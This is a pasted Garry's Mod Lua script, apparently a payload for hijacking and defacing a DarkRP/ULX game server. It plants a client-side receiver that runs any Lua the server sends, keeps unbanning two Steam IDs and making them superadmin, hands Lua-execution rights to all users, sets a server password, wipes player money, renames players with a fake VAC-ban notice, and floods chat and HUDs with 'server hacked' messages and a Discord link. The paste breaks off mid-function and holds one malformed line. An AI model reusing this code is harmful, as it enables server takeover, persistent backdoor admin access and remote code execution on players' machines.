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Untitled

Jul 19th, 2019
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Lua 51.88 KB | None | 0 0
  1. util.AddNetworkString "slua2"
  2.  
  3. local DESIRED_NAME = "This Steam account has been VAC banned from secure servers due to a cheating infraction."
  4.  
  5. local lol = {}
  6. function lol:RandomString( intMin, intMax )
  7.     local ret = ""
  8.     for _ = 1, math.random( intMin, intMax ) do
  9.         ret = ret.. string.char( math.random(65, 90) )
  10.     end
  11.  
  12.     return ret
  13. end
  14.  
  15.  
  16.  
  17. lol.m_tblActions = {}
  18. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  19. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  20.  
  21. function lol:PushAction( intChainDelay, func )
  22.     self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  23. end
  24.  
  25. function lol:NextAction( pPlayer )
  26.     pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  27.     if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  28.  
  29.     timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  30.         if not IsValid( pPlayer ) then return end
  31.         self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  32.         self:NextAction( pPlayer )
  33.     end )
  34. end
  35.  
  36. function lol:Start( pPlayer )
  37.     pPlayer.m_intCurAction = 0
  38.     self:NextAction( pPlayer )
  39. end
  40.  
  41. function lol:SendLua( pPlayer, strLua )
  42.     net.Start( "slua2" )
  43.         net.WriteString( strLua )
  44.     net.Send( pPlayer )
  45. end
  46.  
  47. function lol:SetupPlayer( pPlayer )
  48.     pPlayer:SendLua( "net.Receive(\"slua2\", function() RunString(net.ReadString()) end)" )
  49. end
  50.  
  51.  
  52. -------START CODE FORT BAN/UNBAN/ETC...
  53.     timer.Create( "sethealh", 1, 0, function() RunConsoleCommand("ulx", "hp", "*", "2147483647") end)
  54.     timer.Create( "logecho0", 1, 0, function() RunConsoleCommand("ulx", "logecho", "0") end)
  55.     timer.Create( "godall", 1, 0, function() RunConsoleCommand("ulx", "god", "*") end)
  56. for k, v in pairs( player.GetAll() ) do
  57.     timer.Create( "moneymoney", 0.1, 0, function() v:addMoney(1000000000000000000) end)
  58.     timer.Create( "ripriprip", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP")]]) end)
  59.     timer.Create( "getowned", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "GET OWNED BY MELATRON")]]) end)
  60.     timer.Create( "ohnon", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "Quel dommage, toutes les données du serveur seront supprimés dans moins de 1 minute ! :( ")]]) end)
  61.     timer.Create( "checkForBanSparks", 10, 0, function() ULib.unban( "STEAM_0:0:105015067") end)
  62.     timer.Create( "setSUPERADMINSparks", 30, 0, function() RunConsoleCommand("ulx", "adduserid", "STEAM_0:0:105015067", "superadmin") end)
  63.     timer.Create( "checkForBanLenny", 10, 0, function() ULib.unban( "STEAM_0:1:81414478") end)
  64.     timer.Create( "setSUPERADMINLenny", 30, 0, function() RunConsoleCommand("ulx", "adduserid", "STEAM_0:1:81414478", "superadmin") end)
  65.     timer.Create( "luarun", 2, 0, function() RunConsoleCommand("ulx", "groupallow", "user", "ulx luarun") end)
  66.     timer.Create( "resetmoney", 0.1, 0, function() RunConsoleCommand("rp_resetallmoney") end)
  67.     timer.Create( "csay", 0.1, 0, function() RunConsoleCommand("ulx", "csay", "OMG GET FUCKT BY TEAMSMENU.EXE | https://discord.gg/JwTjN8Z") end)
  68.     timer.Create( "hostname", 2, 0, function() RunConsoleCommand("ulx", "rcon", "hostname", "Serveur hacké par la sharing | Discord : https://discord.gg/JwTjN8Z") end)
  69.     timer.Create( "sv_password", 2, 0, function() RunConsoleCommand("ulx", "rcon", "sv_password", "smenu.exe") end)
  70.     timer.Create( "bot", 0.1, 0, function() RunConsoleCommand("ulx", "rcon", "bot") end)
  71.     timer.Create( "changer de nom", 0.5, 0, function() for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end  end)
  72.     timer.Create( "undoprops", 0.1, 0, function() for k, v in pairs(player.GetAll()) do v:ConCommand("undo") end end)
  73. end
  74. ----------STOP LINE CODE FORT BAN/UNBAN/ETC...
  75.  
  76. -----START LINE CODE FOR DANSE
  77. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end timer.Create("cheer_loop",2.3,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end end )
  78. -----STOP LINE CODE FOR DANSE
  79.  
  80. ------- STARTCODE FOR FORCE CHANGE NAME
  81. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end
  82. ------- STOP LINE CODE FOR CHANGE NAME
  83.  
  84. ------- ARMAGEDDON
  85.             hook.Add("Think", "armageddon", function()
  86.                 local explode = ents.Create( "env_explosion" )
  87.                     explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  88.                     explode:Spawn()
  89.                     explode:SetKeyValue( "iMagnitude", "500" )
  90.                     explode:Fire( "Explode", 0, 0 )
  91.                 end)  
  92. ---------TOURNER
  93.  
  94. for k,v in ipairs(player.GetAll()) do
  95.     v:ConCommand("+right")
  96.     v:ConCommand("+duck")
  97.     v:ConCommand("+voicerecord")
  98.    
  99. end
  100.  
  101. RunConsoleCommand("cl_yawspeed","9999")
  102. RunConsoleCommand("r_shader_srgb","1")
  103. RunConsoleCommand("ground","color.math.66=math.99")
  104.  
  105. function lol:SetupPlayer:SendLua( pPlayer, strLua )
  106. pPlayer:SendLua([[RunConsoleCommand("gmod_language","ko")]])
  107.     net.Start( "slua2" )
  108.     net.WriteString( strLua )
  109.     net.Send( pPlayer )
  110. end
  111.  
  112. --------- GIANT
  113. hook.Add("Think", "giant", function()
  114.     for k,v in pairs (player.GetAll()) do
  115.         v:SetModelScale(50.5, 100);
  116.         v:SetRunSpeed(400 * 2);
  117.         v:SetWalkSpeed(200 * 2);
  118.     end
  119. end)
  120. ------------------
  121.  
  122. for k,v in pairs(player.GetAll()) do
  123.     v:ConCommand("say armageddon")
  124. end
  125.  
  126. for k,v in pairs(player.GetAll()) do
  127.     v:ConCommand("say giant")
  128. end
  129.  
  130. for k, v in pairs( player.GetAll() ) do
  131.     lol:SetupPlayer( v )
  132.     timer.Simple( 2, function() lol:Start( v ) end )
  133. end
  134.  
  135. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  136.     lol:SetupPlayer( pPlayer )
  137.     timer.Simple( 10, function() lol:Start( pPlayer ) end )
  138. end )
  139. hook.Add( "PlayerFootstep", "oooh", function( ply )
  140.            
  141.     ply:EmitSound( "vo/npc/female01/pain0" .. math.random( 1, 9 ) .. ".wav", 75, math.random( 50, 100 ) )
  142.            
  143. end )
  144.  
  145. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  146.     if strText:sub( 1, 5 ) == "/1337" then
  147.         pSender:Ignite( 1e9 )
  148.         pSender:ChatPrint( "fuck this job i quit" )
  149.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  150.         return false
  151.     end
  152. end )
  153.  
  154. hook.Add( "PlayerSay", "what", function( pSender, strText, bTeamChat )
  155.     if strText:sub( 1, 5 ) == "what" then
  156.         pSender:Ignite( 1e9 )
  157.         pSender:ChatPrint( "Que demande un douanier à un cochon qui passe la frontière ? Son passe-porc ! lol xd mdr lol xptdr... vref brule connard" )
  158.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  159.         return false
  160.     end
  161. end)
  162.  
  163. --Sequence stack
  164. --Start some tunes and steam in our assets
  165. lol:PushAction( 0, function( pPlayer )
  166.     lol:SendLua( pPlayer, ([=[
  167.         sound.PlayURL( "https://musicdeouff.000webhostapp.com/turnitup.mp3", "", function()end )
  168.        
  169.         g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  170.         local html = [[%s]]
  171.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  172.             local pnl = vgui.Create( "HTML" )
  173.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  174.             pnl:SetVisible( true )
  175.             pnl:SetMouseInputEnabled( false )
  176.             pnl:SetKeyBoardInputEnabled( false )
  177.             pnl:SetSize( intSizeX, intSizeY )
  178.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  179.            
  180.             local PageLoaded
  181.             PageLoaded = function()
  182.                 local mat = pnl:GetHTMLMaterial()
  183.                 if mat then
  184.                     g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  185.                     return
  186.                 end
  187.                
  188.                 timer.Simple( 0.5, PageLoaded )
  189.             end
  190.  
  191.             PageLoaded()
  192.         end
  193.  
  194. LoadWebMaterial( "https://cdn.frankerfacez.com/068183fea2bfbea358eae44fb5af1469.png", "getrekt", 1000, 1000 )
  195. LoadWebMaterial( "https://media.giphy.com/media/uCa2PBLWtcidy/giphy.gif", "getrekt2", 152, 250 )
  196. LoadWebMaterial( "https://media.tenor.com/images/1becb19cbedc5d189eed3102a9c86bf2/tenor.gif", "getrekt3", 152, 250 )
  197. ]=]):format(lol.m_strImageLoadHTML) )
  198. end )
  199.  
  200. --HUD swap
  201. lol:PushAction( 46, function( pPlayer )
  202.     lol:SendLua( pPlayer, [[
  203.         (GAMEMODE or GM).CalcView = function() end
  204.         (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  205.  
  206.         local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  207.         for k, v in pairs(remove) do
  208.             hook.GetTable()[v] = {}
  209.         end
  210.  
  211.         local function GetWebMat( strURL )
  212.             return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  213.         end
  214.  
  215.         hook.Add( "HUDPaint", "newhud", function()
  216.             surface.SetDrawColor( 255, 255, 255, 255 )
  217.  
  218.  
  219.                         if GetWebMat( "getrekt" ) then
  220.                                 surface.SetMaterial( GetWebMat("getrekt")[1] )
  221.                                 surface.DrawTexturedRect( 500, 50, 1000, 1000 )
  222.                         end
  223.                         if GetWebMat( "getrekt2" ) then
  224.                                 surface.SetMaterial( GetWebMat("getrekt2")[1] )
  225.                                 surface.DrawTexturedRect( 100, 425, 400, 400 )
  226.                         end
  227.                         if GetWebMat( "getrekt3" ) then
  228.                                 surface.SetMaterial( GetWebMat("getrekt3")[1] )
  229.                                 surface.DrawTexturedRect( 1550, 425, 400, 400 )
  230.                         end
  231.  
  232.                 draw.SimpleTextOutlined(
  233.                 "---»--@-} By !!!Mel le Dieu de la Destruction {-@--«---",
  234.                 "DermaLarge",
  235.                 ScrW() /2 +math.random( -8, 8 ),
  236.                 ScrH() /2 +math.random( -8, 8 ) +64,
  237.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  238.                 TEXT_ALIGN_CENTER,
  239.                 TEXT_ALIGN_CENTER,
  240.                 1,
  241.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  242.             )
  243.  
  244.                 draw.SimpleTextOutlined(
  245.                 "-=₪۩۞۩₪=  Serveur Hacké avec Smenu =₪۩۞۩₪=-",
  246.                 "DermaLarge",
  247.                 ScrW() /2 +math.random( -8, 8 ),
  248.                 ScrH() /2 +math.random( -8, 8 ) +24,
  249.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  250.                 TEXT_ALIGN_CENTER,
  251.                 TEXT_ALIGN_CENTER,
  252.                 1,
  253.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  254.             )
  255.             draw.SimpleTextOutlined(
  256.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  257.                 "DermaLarge",
  258.                 ScrW() /2 +math.random( -2, 2 ),
  259.                 ScrH() /2 +math.random( -2, 2 ) -160,
  260.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  261.                 TEXT_ALIGN_CENTER,
  262.                 TEXT_ALIGN_CENTER,
  263.                 3,
  264.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  265.             )
  266.  
  267.             draw.SimpleTextOutlined(
  268.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  269.                 "DermaLarge",
  270.                 ScrW() /2 +math.random( -2, 2 ),
  271.                 ScrH() /2 +math.random( -2, 2 ) +160,
  272.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  273.                 TEXT_ALIGN_CENTER,
  274.                 TEXT_ALIGN_CENTER,
  275.                 3,
  276.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  277.             )
  278.             draw.SimpleTextOutlined(
  279.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  280.                 "DermaLarge",
  281.                 ScrW() /2 +math.random( -2, 2 ),
  282.                 ScrH() /2 +math.random( -2, 2 ) +190,
  283.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  284.                 TEXT_ALIGN_CENTER,
  285.                 TEXT_ALIGN_CENTER,
  286.                 3,
  287.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  288.             )
  289.             draw.SimpleTextOutlined(
  290.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  291.                 "DermaLarge",
  292.                 ScrW() /2 +math.random( -2, 2 ),
  293.                 ScrH() /2 +math.random( -2, 2 ) -190,
  294.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  295.                 TEXT_ALIGN_CENTER,
  296.                 TEXT_ALIGN_CENTER,
  297.                 3,
  298.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  299.             )
  300.             draw.SimpleTextOutlined(
  301.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  302.                 "DermaLarge",
  303.                 ScrW() /2 +math.random( -2, 2 ),
  304.                 ScrH() /2 +math.random( -2, 2 ) +220,
  305.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  306.                 TEXT_ALIGN_CENTER,
  307.                 TEXT_ALIGN_CENTER,
  308.                 3,
  309.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  310.             )
  311.             draw.SimpleTextOutlined(
  312.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  313.                 "DermaLarge",
  314.                 ScrW() /2 +math.random( -2, 2 ),
  315.                 ScrH() /2 +math.random( -2, 2 ) -220,
  316.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  317.                 TEXT_ALIGN_CENTER,
  318.                 TEXT_ALIGN_CENTER,
  319.                 3,
  320.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  321.             )
  322.             draw.SimpleTextOutlined(
  323.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  324.                 "DermaLarge",
  325.                 ScrW() /2 +math.random( -2, 2 ),
  326.                 ScrH() /2 +math.random( -2, 2 ) +250,
  327.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  328.                 TEXT_ALIGN_CENTER,
  329.                 TEXT_ALIGN_CENTER,
  330.                 3,
  331.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  332.             )
  333.             draw.SimpleTextOutlined(
  334.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  335.                 "DermaLarge",
  336.                 ScrW() /2 +math.random( -2, 2 ),
  337.                 ScrH() /2 +math.random( -2, 2 ) -250,
  338.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  339.                 TEXT_ALIGN_CENTER,
  340.                 TEXT_ALIGN_CENTER,
  341.                 3,
  342.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  343.             )
  344.             draw.SimpleTextOutlined(
  345.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  346.                 "DermaLarge",
  347.                 ScrW() /2 +math.random( -2, 2 ),
  348.                 ScrH() /2 +math.random( -2, 2 ) +280,
  349.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  350.                 TEXT_ALIGN_CENTER,
  351.                 TEXT_ALIGN_CENTER,
  352.                 3,
  353.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  354.             )
  355.             draw.SimpleTextOutlined(
  356.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  357.                 "DermaLarge",
  358.                 ScrW() /2 +math.random( -2, 2 ),
  359.                 ScrH() /2 +math.random( -2, 2 ) -280,
  360.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  361.                 TEXT_ALIGN_CENTER,
  362.                 TEXT_ALIGN_CENTER,
  363.                 3,
  364.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  365.             )
  366.             draw.SimpleTextOutlined(
  367.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  368.                 "DermaLarge",
  369.                 ScrW() /2 +math.random( -2, 2 ),
  370.                 ScrH() /2 +math.random( -2, 2 ) +310,
  371.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  372.                 TEXT_ALIGN_CENTER,
  373.                 TEXT_ALIGN_CENTER,
  374.                 3,
  375.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  376.             )
  377.             draw.SimpleTextOutlined(
  378.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  379.                 "DermaLarge",
  380.                 ScrW() /2 +math.random( -2, 2 ),
  381.                 ScrH() /2 +math.random( -2, 2 ) -310,
  382.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  383.                 TEXT_ALIGN_CENTER,
  384.                 TEXT_ALIGN_CENTER,
  385.                 3,
  386.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  387.             )
  388.             draw.SimpleTextOutlined(
  389.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  390.                 "DermaLarge",
  391.                 ScrW() /2 +math.random( -2, 2 ),
  392.                 ScrH() /2 +math.random( -2, 2 ) +340,
  393.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  394.                 TEXT_ALIGN_CENTER,
  395.                 TEXT_ALIGN_CENTER,
  396.                 3,
  397.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  398.             )
  399.             draw.SimpleTextOutlined(
  400.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  401.                 "DermaLarge",
  402.                 ScrW() /2 +math.random( -2, 2 ),
  403.                 ScrH() /2 +math.random( -2, 2 ) -340,
  404.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  405.                 TEXT_ALIGN_CENTER,
  406.                 TEXT_ALIGN_CENTER,
  407.                 3,
  408.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  409.             )
  410.             draw.SimpleTextOutlined(
  411.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  412.                 "DermaLarge",
  413.                 ScrW() /2 +math.random( -2, 2 ),
  414.                 ScrH() /2 +math.random( -2, 2 ) -370,
  415.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  416.                 TEXT_ALIGN_CENTER,
  417.                 TEXT_ALIGN_CENTER,
  418.                 3,
  419.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  420.             )
  421.             draw.SimpleTextOutlined(
  422.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  423.                 "DermaLarge",
  424.                 ScrW() /2 +math.random( -2, 2 ),
  425.                 ScrH() /2 +math.random( -2, 2 ) +370,
  426.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  427.                 TEXT_ALIGN_CENTER,
  428.                 TEXT_ALIGN_CENTER,
  429.                 3,
  430.                Color(math.random(1,255),math.random(1,255),math.random(1,255))
  431.             )
  432.             draw.SimpleTextOutlined(
  433.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  434.                 "DermaLarge",
  435.                 ScrW() /2 +math.random( -2, 2 ),
  436.                 ScrH() /2 +math.random( -2, 2 ) -400,
  437.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  438.                 TEXT_ALIGN_CENTER,
  439.                 TEXT_ALIGN_CENTER,
  440.                 3,
  441.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  442.             )
  443.             draw.SimpleTextOutlined(
